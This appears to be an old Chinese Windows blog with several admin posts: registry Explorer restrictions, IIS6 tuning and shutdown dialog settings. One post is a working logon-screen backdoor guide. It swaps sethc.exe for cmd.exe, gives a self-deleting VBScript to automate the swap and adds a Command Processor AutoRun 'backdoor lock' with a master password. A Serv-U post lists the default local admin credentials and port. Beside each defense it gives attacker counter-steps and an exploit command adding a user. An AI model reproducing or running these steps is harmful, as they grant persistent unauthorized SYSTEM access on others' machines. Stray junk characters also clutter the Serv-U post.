Submitted by admin on 2008, August 10, 9:02 PM
隐藏驱动器,在我的电脑里看不到,在注册表里找到以下分支
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
在右边新建双字节的分支NoDrives (说明:在这里使用的是2的N次方来代表一个驱动器名称,而非寻常的A、B、C、D……,下面就给出各驱动器名与2的N次方的对应关系,以方便各位:A: 1, B: 2,C: 4, D: 8, E: 16, F: 32, G: 64,H: 128, I: 256,J: 512,K: 1024, L: 2048, M: 4096, N: 8192,O: 16384, P: 32768, Q:65536,R: 131072,S: 262144,T: 524288, U: 1048576, V: 2097152, W:4194304,X: 8388608, Y: 16777216, Z: 33554432按照上面的取值规则,如果你要隐藏A、B、C、I四个驱动器,输入263即可,因为263=1+2+4+256,如果你要隐藏所有驱动器,输入67108863。要以十进制来输入数值数据)
以上只是隐藏,要禁止访问,还要在同一个位置新建双字节分支NoViewOnDrive键,设置方法和上面的一样,效果是禁止访问指定的驱动器。
其它的限制!!可以参考下以!
提示:大部分值的数据默认是0,一般修改为1,所以不每个标明其如何修改了,如有特殊情况会标出~
<1>.Menushowdelay ?? 提高子菜单速度
<2>.NoClose ?? 是否隐藏“关闭系统”
<3>.UpdateMode ?? 是否自动刷新窗口内容
<4>.NoSetFolders ?? 是否隐藏“设置”
<5>.NoRecentDocsMenu ?? 是否显示“文档”
<6>.ClearRecentDocsOnExit ?? 是否自动清除“文档内容”
<7>.NoFind ?? 是否显示“查找”
<8>.NoRecentDocsHistory ?? 是否锁定“文档”
<9>.NoRun ?? 是否隐藏“运行”
<10>.NoLogOff ?? 是否隐藏“注销”
<11>.HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun ?? “自启动”程序
<12>.HKEY_LOCAL_MACHINE与HKEY_LOCAL_ROOT下 ?? 右键“新建”选项
<1>3.HKEY_LOCAL_ MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerDesktopNameSpace ?? 可删除桌面系统图标
<14>.NoDesktop ?? 隐藏桌面
<15>.NoNetHood ?? 隐藏“网上邻居”
<16>.PaintDesktopVersion ?? 隐藏系统版本号
<18>NoSMMyDocs--禁止`开始`->`文档`中的我的文档选项
<20>NoRunasInstallPrompt--不要申请其它凭证
<21>NoHardwareTab--隐藏`系统属性`中的`硬件`卡
<22>NoShellSearchButton--屏蔽`资源管理器`工具栏中的`搜索`按钮
<23>DontShowSuperHidden --不显示文件夹里的隐藏系统文件复选框
<24>AllowFrenchEncryption
<25>NoEncryption
<26>NoCustomizeThisFolder
<27>NoWebView
<28>ForceStartMenuLogoff--禁止在`开始`显示注销项
<29>NoNetworkConnections--`开始`的`设置`中`网络和拨号连接`被隐藏(控面中不隐藏
但也禁用)
<30>NoChangeMappedDriveComment
<31>NoChangeMappedDriveLabel
------下面的四个在uninstall子键下
<32>NoWindowsSetupPage--`添加删除windows组件`
<33>NoAddPage--`添加新程序`项被隐藏
<34>NoRemovePage--`更改或删除程序`项被隐藏
<35>NoAddRemovePrograms--屏蔽`添加删除程序`项
<36>ShowPostSetup
<37>AddRemoveProgs
<38>EnumWorkgroup
<39>NoControlPanel--禁用`控制面板`同时在`开始`->`设置`中的`控面`选项被隐藏
<40>MaxRecentDocs--`文档`中的记录数(`我的文档`也算一项,所以要从二开始)
<41>SeparateProcess
<42>IntelliMenus--在`任务栏和开始菜单属性`中隐藏`使用个性化菜单`复选框(同失也
禁用该功能)
<43>MemCheckBoxInRunDlg--`运行`对话框中加入`在单独内存空间运行`,
作用:启动多个16位进程或dos进程时将单独启动一个VDM进程,从而不会造成地址冲突
<44>FindComputers
<45>NoSyncAll
<46>NoFolderOptions--`设置`-没有`文件夹选项`
<47>NoChangeStartMenu--`开始`菜单中禁止点右键
<48>NoWindowsUpdate--`设置`-没有`WINDOWS UPDATE`
<49>NoSetActiveDesktop--仅是`开始`-`设置`-没有`活动桌面`选项
<50>GreyMSIAds--从`开始`禁用不可用的windows安装服务程序的快捷方式
<51>NoForgetSoftwareUpdate
<52>NoMSAppLogo5ChannelNotify
<53>ForceCopyACLWithFile--强制拷贝ACL(仿问控制例表)在方件拷贝时(??)
<54>NoResolveTrack--对于不正确的lnk系统先找文件ID号
<55>NoResolveSearch--禁止自动查找匹配无目标的快捷方式(综合查询)
--------------ActiveDesktop-----------<<这是一个子选项>>
<56>NoEditingComponents--(显示属性-web页选项卡-无`编辑`和`重置`)
<57>NoMovingBands--(当你新建一个工具栏并放入状态栏时你将不能把它移出来)
<58>NoCloseDragDropBands--(禁止你关闭新建的工具栏和系统自带的快速启动栏)
<59>NoClosingComponents--(禁止关闭桌面某一活动内容)
<60>NoDeletingComponents--(显示属性-web页选项卡-无`删除`)
<61>NoAddingComponents--(显示属性-web页选项卡-无`新建`)
<62>NoComponents--(无`显示`属性中的`web页选项卡`)
<63>NoChangingWallPaper--(显示属性-背景选项卡中禁止更改背景图片并且在
ie中点右键时也无法选择`设置为墙纸`选项)
<64>NoHTMLWallPaper--(禁用html格式的墙纸)
<65>ActiveDesktop--(主键名)
------------------------------------------------------------
<66>NoCustomizeWebView
<67>ClassicShell--(禁止定义桌面风格具体包括系统自带的快速启动栏被完全的隐藏
并且不能添加文件夹选项中的常规选项卡中windows桌面更新不能选择了还有关
机选项中多了个注销单选框有点搞笑!)
<68>ClearRecentDocsOnExit--退出时清除`文档`中的历史记录)
<69>NoFavoritesMenu--`开始`中无`收藏夹`
<70>NoActiveDesktopChanges--显示属性中无web选项卡且背景选项卡中墙纸不能为htm
l格式但在ie点右键时可以选`设为桌面项`)
<71>NoActiveDesktop--(这个是最重要的了必须要有它才能真正的禁止activedesktop
其中包括显示属性中无web选项卡且背景选项卡中墙纸不能为html格式
,桌面点右键没有`活动桌面`选项但是在`开始`菜单的`设置`又有,但在ie
点右键时可以选`设为桌面项`不过又不能显示出来)
<72>NoRecentDocsMenu--`开始`中无`文档`
<73>NoRecentDocsHistory--`开始`中无`文档`中历史记录
<74>NoInternetIcon--桌面隐藏IE图标
<75>NoFileAssociate
<76>NoNTSecurity
<77>NoDisconnect
<78>NoSettingsWizards
<79>NoNetConnectDisconnect--关闭当前的网络连接指的是映射的网络驱动器同时在`网
络邻居`和`我的电脑`点右键都没有断开和映射网络驱动器选项
<80>NoViewContextMenu--在桌面和资源管理器中无右键同时也不能查看文件属性(同时
禁用shift+f10)但在工具栏或是ie中有用
<81>NoTrayContextMenu--在状态栏包括`开始`按钮上禁用右键但是
在最右边的托盘图标和快速启动栏的图标上可以点右键
<82>NoWebMenu
<83>LinkResolveIgnoreLinkInfo--禁止使用绝对路来解释出错的快捷方式
<84>NoCommonGroups--隐藏`程序`->`附件`中的公共部分如画图等快捷方式(存放在doc
ument and settingall users`开始菜单`文件夹下)
<85>EnforceShellExtensionSecurity--使用未经许可的外壳扩展(右键扩展菜单)要提示
,如何确认:win2k自动搜索程序的数字证书,经过确认的
clsid放在hklmsmwcshell extensionapproved下
<86>NoRealMode--禁用dos方式(?)
<87>WinOldApp--关机没有转为纯dos方式(?)
<88>MyDocsOnNet
<89>NoStartMenuSubFolders--隐藏`开始菜单`上部的`用户文件夹`,(存放在document
andsetting用户名`开始菜单`文件夹下)
<90>NoAddPrinter--(`我的电脑`-`打印机`-无`添加打印机`)
<91>NoDeletePrinter--(`我的电脑`-`打印机`-无``删除打印机`)
<92>NoPrinterTabs--(无打印机属性中的`常规`和`详细资料`两个选项)
<93>RestrictRun--设置只能运用的程序(特殊)
<94>NoStartBanner--无`单击这里开始`的提示
<95>NoNetHood--隐藏`网上邻居`
<96>NoDriveTypeAutoRun--禁止光盘自动运行(按类型禁止)
<97>NoDriveAutoRun--禁止光盘自动运行(按盘符禁止)
<98>NoDrives--隐藏驱动器
<99>NoFind--隐藏`收搜`
<100>NoDesktop--隐藏`桌面`所有项目
<101>NoSetTaskbar--禁用`任务栏`右键属性及设置->没有任务栏和开始菜单
<102>NoSetFolders--设置->没有制面板及打印机
<103>NoFileMenu--隐藏`资源管里器`里的`文件`菜单
<104>NoSaveSettings--不保存桌面设置如任务栏的位置之类
<105>NoClose--隐藏`关闭系统`
<106>NoRun--隐藏`运行`
<107>Explorer(主键)
<108>NoComputersNearMe--隐藏`网上邻居`中的`邻近的计算机`
<109>ForceActiveDesktopOn--禁止桌面->右键->活动桌面中的`显示web内容`选项
<110>DisableCurrentUserRunOnce--禁止处理注册表中的开机启动项
<111>DisableLocalMachineRunOnce--同上
<112>DisableCurrentUserRun--同上
<113>DisableLocalMachineRun--同上
<114>NoEncryptOnMove--?
<115>NoWinKeys--在`资管`中禁用热键(?)
<116>NoSMHelp--隐藏`开始`中的`帮助`选项
<117>NoSMBalloonTip -->不显示`单击这里开始`
<118>DisallowCpl--指定不能使用的cpl文件(特殊)
<119>RestrictCpl--指定只能使用的cpl文件(特殊)
<120>NoWelcomeScreen
<121>DisallowRun--指定不能使用的可执行文件(特殊)
<122>NoRecentDocsNetHood--禁止仿问过的共享资源自动加到`网上邻居`
<123>NoManageMyComputerVerb--隐藏`我的电脑`->右键菜单中的`管理选项`(compmgmt.
msc)
<124>PromptRunasInstallNetPath--为网络安装申请凭证(?)
windows | 评论:0
| Trackbacks:0
| 阅读:1448
Submitted by admin on 2008, January 16, 11:29 AM
后门原理:
在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。
XP:
将安装源光盘弹出(或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
VISTA:
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替换文件
在登录界面按5此SHIFT,出来cmd shell,然后……
后门扩展:
[复制此代码]CODE:
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
第二句最有意思了.自动应答....以前就遇到过类似的问题
再更新.加个自删除,简化代码...
[复制此代码]CODE:
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
后门锁扩展:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[复制此代码]CODE:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="bdlock.bat"
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
Echo 请联系客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx
windows | 评论:0
| Trackbacks:0
| 阅读:1397
Submitted by admin on 2007, November 29, 1:46 PM
Serv-U溢出漏洞解决方案
漏洞简介:0 K" @% V1 o7 n1 F, E5 {
漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建域和用户来执行命令,Serv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。
0 x+ ?+ k+ Q- `$ _ K% r7 P4 A
9 C$ [% q: |1 S/ n# L, T& n8 @( [0 [$ E1 t* K+ H
防止办法和对策:, F0 s- U7 m$ T
一般防止方法:设置目录权限,通过去掉Web目录iusr用户的执行权限来防止使用Webshell来运行Exp程序。
3 z; v' o( y1 }, { 对策:这种方法有一定的局限性,需要设置的目录很多,不能有一点疏漏,比如我就发现很多虚拟主机在C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp,这种目录还有x:\php,x:\perl等,因为这种目录都是everyone完全控制的。有些主机还支持php,pl,aspx等,这简直就是服务器的Serv-U灾难,^_^,运行程序更加方便。' k h0 ?% v3 a' u# [/ i& d
高级一点的防止办法:修改Serv-u管理端口,用Ultraedit打开ServUDaemon.exe查找B6AB(43958的16进制),替换成自己定义的端口比如3930(12345),打开ServUAdmin.exe找到最后一个B6AB替换成3930(12345),启动Serv-u,现在本地管理端口就成了12345了:7 B7 k8 u% u9 P
5 H0 W0 i3 n. o- _1 p6 h8 k& A
TCP 127.0.0.1:12345 0.0.0.0:0 LISTENING
; z; ^0 {5 M- Y* _& M T( b8 D- I6 j! Y0 P; V5 }
对策:对付这种也很简单,netstat –an,就能看到端口了,有人说netstat无法运行,其实你再上传个netstat.exe到可执行目录运行就ok了,然后修改一下Exp编译,上传运行就好了,我修改了一个可以自定义端口的Exp,运行格式:: E: `5 W; ~2 i$ D' i2 P+ I
$ ^" p' l% ^6 XUSAGE: serv-u.exe port "command"
& \4 D# \/ T0 M( ]5 M+ y+ ^Example: serv-u.exe 43958 "net user xl xiaoxue /add" ( p% R) p* ^! P% Q
# A# I0 z. P3 b G7 V5 ~ 更高级的防止办法:修改管理员名和密码,用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。
3 r7 y7 E; `1 I) K1 X: q( s 对策:这下默认的管理员连接不上了,还有办法么?嘿嘿,有的管理员安装Serv-u都是使用默认目录C:\Program Files\Serv-U安装,这个目录虽然不能写,也不能修改,但是默认iusr是可以读的,我们可以用webshell来下载ServUDaemon.exe,用Ultraedit打开分析一下,Serv-U的帐号密码就到手了,修改Exp编译上传运行,我们又胜利了。
windows | 评论:0
| Trackbacks:0
| 阅读:1678
Submitted by admin on 2007, November 7, 5:18 PM
每次关闭windows 2003系统时,你总会发现关机原因提示框,不厌其烦“抢占”你的视线,这让喜欢一气呵成关机的你,浑身不自在,不得己,你必须进行如下“手术”,才能“赶走”烦人的关机原因提示窗口。
依次执行……开始……运行……在运行框中输入"gpedit.msc"命令,这时弹出组策略编辑界面,在该界面中,用鼠标左键双击“计算机配置”文件夹|"管理模板"文件夹|"系统"文件夹。
在对应"系统"文件夹窗口中,选中"关闭事件跟踪程序",并用鼠标左键双击,在随后弹出的窗口中,选中“已禁用”选项,最后点击"确定"按钮,就可以与烦人的关机原因提示框“byebye"了。
改过好多次了,但每次都不记得具体的路径,都要google一下.记下了,以后不用搜了
windows | 评论:0
| Trackbacks:0
| 阅读:1974
Submitted by admin on 2007, July 15, 10:07 PM
关于win 2003 iis中不能下载rmvb的解决方法:
网站的属性>HTTP头->MIME类型->新建,扩展名填入.rmvb,MIME类型是application
windows | 评论:0
| Trackbacks:0
| 阅读:1785
Submitted by admin on 2007, July 15, 10:07 PM
Windows 2003,当在IIS6上下载(/上传)大文件时,
会出现错误(log 文件中):80004005 Response_Buffer_Limit_Exceeded。
原因:IIS6 有一个缺省的设置:AspBufferingLimit= 4194304 是4M。
解决办法:将AspBufferingLimit的值增大到合适的大小。
步骤:
1. 修改IIS设置,允许直接编辑配置数据库
管理工具->IIS管理器里,选择计算机,右键,选择属性,然后选中“Enable Direct Metabase Edit”.
2. 修改IIS配置文件
1). 先在服务管理器里关闭iis admin service服务
管理工具->服务->iis admin service->停止。
2). 用文本编辑器打开C:\Windows\System32\Inesrv\下的Metabase.xml文件
注意:修改文件之前请先备份。
3). 修改对下载文件大小限制
找到AspBufferingLimit,把它修改为你所需的大小。
例如:AspBufferingLimit="8388608" (8M)
修改对上传文件大小限制
找到ASPMaxRequestEntityAllowed 把他修改为需要的值,默认为204800,即200K 把它修改为你所需的大小。如:8388608(8M)
例如:AspRequestQueueMax="8388608"
4). 然后开启www服务
管理工具->服务->World Wide Web Publishing Service->开启
备注:
也可以直接在控制台命令行运行 ADSUTIL.VBS更改此值。不用停止IIS。
例如改为8M:运行“ADSUTIL.VBS SET W3SVC/AspBufferingLimit 8388608”
另外,可以在控制台命令行直接停止和启动IIS。
停止:“Net stop iisadmin /y”
启动:“Net start w3svc
windows | 评论:0
| Trackbacks:0
| 阅读:1814
Submitted by admin on 2007, July 15, 10:06 PM
在IIS6下,经常出现w3wp的内存占用不能及时释放,从而导致服务器响应速度很慢。
今天研究了一下,可以做以下配置:
1、在IIS中对每个网站进行单独的应用程序池配置。即互相之间不影响。
2、设置应用程序池的回收时间,默认为1720小时,可以根据情况修改。同时,设置同时运行的w3wp进程数目为1。再设置当内存或者cpu占用超过多少,就自动回收内存
一般来说,这样就可以解决了。但仍然会出现个别网站因为程序问题,不能正确释放。
那么,怎么样才能找到是哪一个网站的?
1、在任务管理器中增加显示pid字段。就可以看到占用内存或者cpu最高的进程pid
2、在命令提示符下运行iisapp -a。注意,第一次运行,会提示没有js支持,点击确定。然后再次运行就可以了。这样就可以看到pid对应的应用程序池
3、到iis中察看该应用程序池对应的网站,就ok了
Tags: w3wp.exe, 内存占用
windows | 评论:0
| Trackbacks:0
| 阅读:1825